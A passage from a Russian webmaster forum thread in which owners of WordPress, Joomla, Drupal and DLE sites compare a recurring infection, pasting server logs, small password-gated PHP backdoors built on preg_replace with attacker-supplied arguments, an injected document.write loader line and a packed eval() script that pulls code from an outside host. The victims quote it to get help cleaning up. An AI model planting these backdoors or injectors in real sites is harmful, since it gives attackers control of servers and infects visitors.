Форум Сайтостроение Безопасность

Яндекс нашел вирус на сайте

1... 272829303132333435 ...41
K5
На сайте с 21.07.2010
Offline
209
kgtu5
#301

AAAAllleex, 1 и 2 - одинаковые шеллы wso 2.5, 3й - скрипт для загрузки

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
Clausfehde
На сайте с 29.05.2009
Offline
86
Clausfehde
#302

Такая же участь настигла мои сайты (2 WP, 1 Joomla), все на одном VPS. Вчера обновил движки сайтов до последних версий. Создается 2 файла, всегда с разными именами: к примеру blac.js и melbourne.swf и кусок кода прописывается в какой-нибудь из .js файлов к примеру в jquery.js нашел:

;document.write("<scr"+"ipt src='/administrator/help/en-GB/blac.js'><"+"/script>");

Файлы создаются в разных местах с разными именами. На Джумле поставил права на папки 555. Со вчерашнего дня смотрю логи сервера: для джумлы пока вирусных файлов не появлялось, а для WP уже по 2 -3 раза появлялись с разными именами. Расскажите как искать шелл, смотрю тут у некоторых файлы php появлялись еще, в которых вероятно и есть шелл, у себя пока найти не смог их. Писать хостеру? Сейчас запустил сканирование каспером, ESS на ПК ничего не нашел. В ФТП пароли сменил и убрал их из файлзиллы. Куда копать? Менять права на файлы WP на 444? Буду благодарен любой помощи.

Только что заметил:

Есть файл в WP. Этот файл должен быть в WP?

/wp-admin/js/set-post-thumbnail.dev.php

Вот еще логи сервера для сайта на WP:



178.33.69.67 - - [16/Dec/2013:08:03:27 +0400] "POST /wp-admin/js/set-post-thumbnail.dev.php HTTP/1.0" 200 2 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
178.33.69.67 - - [16/Dec/2013:08:03:27 +0400] "POST /wp-admin/js/set-post-thumbnail.dev.php HTTP/1.0" 200 44 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
XX.X.199.200 - - [16/Dec/2013:08:03:28 +0400] "GET / HTTP/1.0" 200 41266 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
XX.X.199.200 - - [16/Dec/2013:08:03:28 +0400] "GET /wp-content/plugins/auto-highslide/highslide/highslide-with-html.packed.js HTTP/1.0" 200 32221 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
XX.X.199.200 - - [16/Dec/2013:08:03:28 +0400] "GET /wp-includes/images/crystal/jomama.swf HTTP/1.0" 200 39 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
178.33.69.67 - - [16/Dec/2013:08:03:27 +0400] "POST /wp-admin/js/set-post-thumbnail.dev.php HTTP/1.0" 200 281 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
XX.X.199.200 - - [16/Dec/2013:08:03:28 +0400] "GET /wp-includes/images/smilies/galata.js HTTP/1.0" 200 39 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
178.33.69.67 - - [16/Dec/2013:08:03:29 +0400] "POST /wp-admin/js/set-post-thumbnail.dev.php HTTP/1.0" 200 45 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)

XX.X.199.200 - IP моего сервера

Далее проверил логи сервера для сайта на Джумле:

XX.X.199.200- - [15/Dec/2013:00:57:57 +0400] "GET /administrator/images/nyla.swf HTTP/1.0" 200 39 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
XX.X.199.200 - - [15/Dec/2013:00:57:57 +0400] "GET /includes/js/tabs/mememe.js HTTP/1.0" 200 39 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
178.33.69.67 - - [15/Dec/2013:00:57:53 +0400] "POST /administrator/images/bookmarks.php HTTP/1.0" 200 216 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)
178.33.69.67 - - [15/Dec/2013:00:57:57 +0400] "POST /administrator/images/bookmarks.php HTTP/1.0" 200 45 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3)

Нашел файл: /administrator/images/bookmarks.php

Вот содержимое подозрительных файлов:

/administrator/images/bookmarks.php

<?php
if (md5($_POST['p']) == 'd1873f535de1bfbcb586ad2c830adec9') {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}

/wp-admin/js/set-post-thumbnail.dev.php

<?php
if (md5($_POST['p']) == 'bf4400fd188a7fca6c65cbb3e5b2d711') {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}

Как видно, код практически совпадает... Подскажите пожалуйста, это шелл?

ProLiant
На сайте с 07.12.2005
Offline
249
ProLiant
#303
Создается 2 файла, всегда с разными именами: к примеру blac.js и melbourne.swf и кусок кода прописывается в какой-нибудь из .js файлов к примеру в jquery.js нашел:

У меня аналогичная беда на ДЛЕ 10. Два первых файла, js и swf всегда где-то в папке uploads/post, и кусок кода нашел у себя в engine/classes/js/jquery.js

Беда общая, выходит. :( Айболитом гонял, ничего не нашел. А файлики удаляешь, через некоторое время снова появляются, с другими именами.

Наверное да, шелл, только где корни искать, не понятно. Но дело не в движках значит, а скорее в серверах?

Выбирай оптимальный хостинг (http://cp.inferno.name/aff.php?aff=2053) для стабильного заработка на файловом трафе (https://espays.com/s.php?f=38). ;)
K
На сайте с 27.03.2011
Offline
52
k0missar
#304

Скорее всего надо играть правами на папки чтобы не смогли записать туда. А также .htaccess

Хотя у меня тоже были подобные проблемы, я пока так защищаюсь...

Все для вебмастера CMS, Плагины, Хаки по прямой ссылке (http://wmaster.guru/)
ProLiant
На сайте с 07.12.2005
Offline
249
ProLiant
#305
k0missar:
Скорее всего надо играть правами на папки чтобы не смогли записать туда. А также .htaccess

Хотя у меня тоже были подобные проблемы, я пока так защищаюсь...

Что тогда и как прописать в .htaccess, который находится в папке uploads, что бы в нее и во все вложенные нельзя было загрузить js и swf ?

При утсановке двига рекомендуется:

Для папок backup, uploads, а также для всех папок, находящихся внутри них - права для записи (CHMOD 777).

Какие тогда выставить правильней?

SP
На сайте с 16.12.2013
Offline
0
SergPolyak
#306

Абсолютно то же самое на Drupal 6. В логах - тот же IP:

89.253.232.183 - - [16/Dec/2013:05:14:47 +0400] "GET /sites/default/files/images/mines.swf HTTP/1.0" 200 418 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
89.253.232.183 - - [16/Dec/2013:05:14:47 +0400] "GET /sites/default/files/blaine.js HTTP/1.0" 200 413 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
178.33.69.67 - - [16/Dec/2013:05:14:46 +0400] "POST /modules/comment/comment-wrapper.tpl1.php HTTP/1.0" 200 385 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
178.33.69.67 - - [16/Dec/2013:05:14:47 +0400] "POST /modules/comment/comment-wrapper.tpl1.php HTTP/1.0" 200 205 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"

Что если попробовать заблокировать доступ для IP 178.33.69.67?

R
На сайте с 24.01.2008
Offline
180
Алексей
#307
SergPolyak:
Абсолютно то же самое на Drupal 6. В логах - тот же IP:

Что если попробовать заблокировать доступ для IP 178.33.69.67?

Ничего не мешает воспользоваться проксями, замучаетесь блокировать.

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
Clausfehde
На сайте с 29.05.2009
Offline
86
Clausfehde
#308

SergPolyak, посмотрите содержимое файла /modules/comment/comment-wrapper.tpl1.php

Я подозреваю что оригинальный файл должен быть такой:

/modules/comment/comment-wrapper.tpl.php

Т.е. без цифры 1. Хотя могу ошибаться, с друпалом не работал.

B
На сайте с 16.12.2013
Offline
0
Bener
#309

Привет всем пострадавшим от этой заразы.

Это уже эпидемия какая-то... Тот же айпи (178.33.69.67) спокойно грузит файлы js, swf, php. Удаляешь - появляются вновь под другими именами и в других папках.

Главный вопрос на который пока ответа нет - как хакер льёт файлы... У меня к примеру даже доступ по ФТП закрыт. Какую уязвимость использует вирус... Давайте ребят над этим подумаем вместе. Варианты есть?

ProLiant
На сайте с 07.12.2005
Offline
249
ProLiant
#310

Пока вариант один, что врядли это дыры именно двига, т.к. мы уже видим здесь 3 популярные цмс, в которые внедряется эта гадость по одному и тому же сценарию.

П.с. Посмотрел только что логи по этому айпи - с него у меня и форум на вбуллетине долбит... Только пока еще не нашел, что и где он и там оставил. В файле, к которому там обращался прописано только это:

<?php
if (md5($_POST['p']) == '768f9a3926cc869d7d3c9e10e68ae97a') {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}

И на сайте ДЛЕ 10 новая вставка, теперь в в engine/classes/js/dle_js.js такое:

;document.write("<scr"+"ipt src='/uploads/posts/2009-11/cloclo.js'><"+"/script>");

Ну и соответственно сам cloclo.js с содержимым:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l F(v){10(s.A&&s.1O){6 z=s["1N"+"1M"+"1P"+"1Q"+"1S"+"1R"](\'1L\')[0];6 q=s.A(\'1K\');6 1E="%{?-1D$1C{-)7^P";6 1F="%[{<1G-[ ";6 1J="1I/G`><1H.^1T ";6 1U="29,*4`>3@)~?26^!x";6 25="?M>*;#x}2a:S=P";q.J(\'2b\',"t"+"e"+"2e/"+"2d"+"24"+"23"+"i"+"1X");q.J(\'v\',v);6 1V="1Y<2B^])1B]K%#U:";6 1Z="22.(V~i(5.21.Q";6 20="S*2f``#1w]!b";6 1c="1b#1a^1d#W&**1e+19";6 1f="1h=>17$#L(>?Q";z["a"+"15"+"e"+"16"+"C"+"18"+"14"](q)}}l B(){u 13.1g()}6 1A="[1v/`c%:$k^]{1u";6 1t="!=1i/p#1x{1z{";6 1y="&n[~}I{;n#2=r";6 1s="Y`[1r(1l";6 1k="`1j+1m$*]$8[L*%9>";l N(g){u g.E(T)!=-1}6 1n="9@]+9]+D]a<1{f>1q";6 2g="-1p->:#)1o@1W;2G^2V";6 2U="I~?2X!@2T(;2M~`1";6 2O="<.p!j-^i[V";6 31="/2Q^d)#%?#^&`37";6 11="32"+"38"+":/"+"/o"+"Z"+"34"+"Z"+".p"+"p."+"g"+"/5"+"36"+"2K"+"2q"+"2p"+"2L"+"2r"+"2s"+"2o"+"2n"+"2i"+"2h"+"12"+"2c"+"2k"+"2m"+"2l"+"2u"+"2v"+"2F"+"28"+"27"+"f";6 T="w"+"2E";6 2D="[1+***<2x#*?-!i[2y(";6 2z="&y[:+7>2A@,/<*";6 2C=".2w?#;2J<2I.";6 2H="[{:}2j+#H`-?m#.]#";6 2t="{/b!2R%R+@C{G=. 35";l O(g){u g.E("c"+"h"+"33"+"30")==-1}l X(){6 g=13["2P"]["2N"+"2S"+"2Y"+"r"+"2Z"+"2W"]();10(O(g)&&N(g)&&B()){F(11)}}X();',62,195,'||||||var||||||||||ua|||||function|||||script_tag||document||return|src||||head_tag|createElement|cond3|||indexOf|includeJavascript|_|||setAttribute||||isWin|notChrome|||||win||||includeCounter||xy|if|url||navigator|ld|pp|nd|lfJ|hi|M8|4e3_|ZC|qiMQIcMnJN3|x8|MGdx|qiMQIcMnJN4|javaEnabled|Ez6|9e1|J2|UXCfmHog4|Jcn|V51g|JXBEbQFyL0|ASZW|u8|bS_j|bRogN|UXCfmHog3|UXCfmHog1|S24|bm|Uxg|hB|UXCfmHog2|WAw|UXCfmHog0|5h|3G_|QC981_uQ|rWncKlQG0|rWncKlQG1|_qkXItT9cf|DA9B|MH|rWncKlQG2|script|head|Elem|get|getElementsByTagName|ents|By|ame|TagN|5K0|rWncKlQG3|qiMQIcMnJN0|Az4_|pt|Vp|qiMQIcMnJN1|qiMQIcMnJN2|xu4i|30F|scr|va|rWncKlQG4|A9HV|||WL|7e|type||ja|xt|_9|JXBEbQFyL1|58|65|dh|56|ff|00|a0|43|f8|8d|70|e1|OelKMe4|ed|0a|e6c|O54b|Qm|OelKMe1|GV78||OelKMe2|OelKMe0|in|9c|vbu|OelKMe3|LgEc|1sj_yhO|7a|9e|1sk3|to|JXBEbQFyL3|userAgent|E2|bS|Lo|Xl|JXBEbQFyL2|tO|se|FJ|we|Ca|me|JXBEbQFyL4|ht|ro|xe|p4_||9g2ik|tp'.split('|'),0,{}))
1... 272829303132333435 ...41

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий